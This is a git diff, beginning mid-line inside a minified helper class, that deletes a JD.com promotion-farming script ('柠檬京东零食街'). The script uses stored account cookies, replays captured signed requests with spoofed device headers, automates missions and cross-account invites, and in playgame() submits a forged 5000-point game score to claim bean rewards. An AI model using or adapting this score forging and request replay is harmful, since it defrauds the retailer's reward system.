t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lsj.js b/backUp/jd_lsj.js deleted file mode 100644 index 2955f22..0000000 --- a/backUp/jd_lsj.js +++ /dev/null @@ -1,629 +0,0 @@ -/* -#京东零食街 - -后续添加自动兑换功能 如入会失败 自行去入会 -入口 京东 频道 美食馆 -零食街自动兑换变量 -export lsjdh="jdAward1" ##兑换5豆 -export lsjdh="jdAward2" ##兑换10豆 -export lsjdh="jdAward3" ##兑换100豆 -export lsjdh="jdAward4" ##兑换牛奶 -[task_local] -0 11 * * * jd_lsj.js -*/ -const $ = new Env('柠檬京东零食街'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let useInfo = {}; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let newShareCodes = []; -let lsjdh = ''; -if (process.env.lsjdh) { - lsjdh = process.env.lsjdh; -} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await star() - - } - } - console.log(`\n开始账号内互助\n`); - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if(!useInfo[$.UserName]) continue; - $.canHelp = true; - for (let j = 0; j < newShareCodes.length && $.canHelp; j++) { - $.oneCodeInfo = newShareCodes[j]; - if($.UserName === newShareCodes[j].usr || $.oneCodeInfo.max){ - continue; - } - console.log(`${$.UserName}去助力${newShareCodes[j].usr}`) - nick = useInfo[$.UserName]; - await dohelp(newShareCodes[j].code); - await $.wait(3000) - } - } - - - -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function star() { -await gettoken() - -$.log("开始领取首页水滴") -await dotree(1) -await $.wait(3000) -await dotree(2) -await $.wait(3000) -await dotree(3) -await $.wait(3000) -$.log("开始浏览会场") -await doliulan(1) -await $.wait(3000) -await doliulan(2) -await $.wait(3000) -await doliulan(3) -//await gettask() - -$.log("开始浏览会场") -await doshop(1000014803) -await $.wait(3000) -await doshop(10299171) -await $.wait(3000) -await doshop(1000077335) -await $.wait(3000) -await doshop(1000008814) -await $.wait(3000) -await doshop(1000101562) -$.log("开始浏览推荐食品商品") -await doGoods(1) -await $.wait(3000) -await doGoods(2) -await $.wait(3000) -await doGoods(3) -await $.wait(3000) -await doGoods(4) -$.log("开始加购商品") -await doadd(1) -await $.wait(3000) -await doadd(2) -await $.wait(3000) -await doadd(3) -await $.wait(3000) -await doadd(4) -$.log("开始游戏刷分") -await playgame() -$.log("开始兑换") -await duihuan() -} - -function gettoken() { - return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e41523&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt%2FpM7ENipVIQXuRiDyQ0FYw2aud9%20AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSsqndu4%2FjgUPz6uymy50MQJs2X%2FHz8dwQrKfrmFvPGJYcIhgT3KrbJ2slvZoaufp78QzL4RqQVUgaKH%2Fq7EntlwV7J5l6acE2Wlj2%2Bu6Thwe90cWmtV80fH0yhpOV%2FhYIwvD5N6W1zo3LCVXTcuOw%2BARC%2F6K3bndzn3KzMw%2FpkYzhE2JcXeXiD44r%2BkUMawpn%2Bk7XqSVytdBg%3D%3D&uemps=0-0&st=1624988916642&sign=6a25b389996897b263c70516fc3c71e1&sv=122`, - body: `body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fjinggengjcq-isv.isvjcloud.com%2Fpaoku%2Findex.html%3Fsid%3D75b413510cb227103e928769818a74ew%26un_area%3D4_48201_54794_0%22%7D&`, - headers: { - "Host": "api.m.jd.com", - "User-Agent": "okhttp/3.12.1;jdmall;android;version/10.0.4;build/88641;screen/1080x2208;os/10;network/4g;", - "Cookie": cookie, - } - } - - $.post(options, async (err, resp, data) => { - try { - const reust = JSON.parse(data) - if(reust.errcode == 0){ - token = reust.token - $.log(token) - await getnick() - }else { - - $.log(data) - } - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getnick() { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com//dm/front/foodRunning/setMixNick?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"ae549c4ddea76787995f262fcedf9fcf","timestamp":1624988916869,"userId":"10299171"},"admJson":{"source":"01","strTMMixNick":"${token}","method":"/foodRunning/setMixNick","actId":"jd_food_running","buyerNick":"","pushWay":1,"userId":"10299171"}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "Sec-Fetch-Site": "same-origin", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;android;10.0.4;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/88641;partner/oppo;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - nick = reust.data.data.msg - $.log("邀请码: "+nick) - useInfo[$.UserName] = nick; - newShareCodes.push({'usr':$.UserName, 'code':nick, 'max':false}); - }else if(reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function doshop(goodsNumId) { - return new Promise(async (resolve) => { -let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewShop","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, -headers: { -"Origin": "https://jinggengjcq-isv.isvjcloud.com", -"Content-Type": "application/json; charset=UTF-8", -"X-Requested-With": "XMLHttpRequest", -"Host": "jinggengjcq-isv.isvjcloud.com", -"Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", -"User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", -}} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - }else if(reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function doliulan(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewBanner","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - }else if(reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function doGoods(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"viewGoods","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - }else if(reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function doadd(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"addCart","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - }else if(reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function dotree(goodsNumId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"c80a9253cc1558cbf7f54639198ee751","timestamp":1625029740517,"userId":10299171},"admJson":{"goodsNumId":${goodsNumId},"missionType":"treeCoin","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - - $.log(`${reust.data.data.remark}\n获得${reust.data.data.sendNum}`) - }else if(reust.errorCode == 500) { - - $.log("今日已领取完毕,请明日再来!"+reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function dohelp(inviterNick) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"61082e10fc24d61235301cd899e4ec5e","timestamp":1625033802865,"userId":10299171},"admJson":{"inviterNick":"${inviterNick}","missionType":"inviteFriend","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - console.log(data); - const reust = JSON.parse(data) - if(reust.errorCode == 200){ - if(reust.data.data.remark === `好友助力数量已达上限,无法为好友助力!`){ - $.oneCodeInfo.max = true; - }else{ - $.canHelp = false; - } - $.log(`${reust.data.data.remark}`) - }else if(reust.errorCode == 500) { - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function dojoinMember(id) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"b0cf8f20b85bca9b2698848ac1c573a5","timestamp":1625034782254,"userId":10299171},"admJson":{"goodsNumId":"${id}","missionType":"joinMember","method":"/foodRunning/complete/mission","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - $.log(`\n如果入会失败 请手动去入会\n`) - $.log(`${reust.data.data.remark}`) - }else if(reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function playgame() { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/SendCoin?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"3a4b12fe8d85b42c2f5defb8d642f043","timestamp":1625035211650,"userId":10299171},"admJson":{"coin":5000,"point":5000,"method":"/foodRunning/SendCoin","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - if(reust.data.data.enoughCoin == true){ - $.log(`刷分成功 刷金币成功${reust.data.data.point} 正在前往领取京豆`) - await ljd("jdRunningBox1") - await $.wait(3000) - await ljd("jdRunningBox2") - await $.wait(3000) - await ljd("jdRunningBox3") - }else if(reust.data.data.enoughCoin == false){ - $.log(`${reust.data.data.msg}`) - - } - - }else if(reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function ljd(awardId) { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/OpenBox?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"24068838e03a8c538424a146d0c49a27","timestamp":1625035590002,"userId":10299171},"admJson":{"awardId":"${awardId}","method":"/foodRunning/OpenBox","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?sid=75b413510cb227103e928769818a74ew&un_area=4_48201_54794_0", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }} - $.post(options, async (err, resp, data) => { - try { - - const reust = JSON.parse(data) - - if(reust.errorCode == 200){ - jdbean = reust.data.data.msg - $.log(`${reust.data.data.msg}`) - await showMsg() - - }else if(reust.errorCode == 500) { - - $.log(reust.errorMessage) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} -function showMsg() { - return new Promise(resolve => { - message += `\n${jdbean}\n`; - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - resolve() - }) -} -function duihuan() { - return new Promise(async (resolve) => { - let options = { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/exchangeGoods?open_id=&mix_nick=&bizExtString=&user_id=10299171`, - - body: `{"jsonRpc":"2.0","params":{"commonParameter":{"appkey":"51B59BB805903DA4CE513D29EC448375","m":"POST","sign":"8bf72ff9ded8cc22cd9ec407165342e7","timestamp":1625093423768,"userId":10299171},"admJson":{"awardId":"${lsjdh}","method":"/foodRunning/exchangeGoods","actId":"jd_food_running","buyerNick":"${nick}","pushWay":1,"userId":10299171}}}`, - headers: { - "Origin": "https://jinggengjcq-isv.isvjcloud.com", - "Content-Type": "application/json; charset=UTF-8", - "X-Requested-With": "XMLHttpRequest", - "Host": "jinggengjcq-isv.isvjcloud.com", - "Referer": "https://jinggengjcq-isv.isvjcloud.com/paoku/index.html?lng=106.286832&lat=29.969274&sid=1c98c3013bd5808a5977e0f9d5f5272w&un_area=17_1458_1463_43894", - "User-Agent": "jdapp;iPhone;9.5.2;14.3;6898c30638c55142969304c8e2167997fa59eb53;network/4g;ADID/F108E1B6-8E30-477C-BE54-87CF23435488;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone9,2;addressid/390536540;supportBestPay/0;appBuild/167650;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 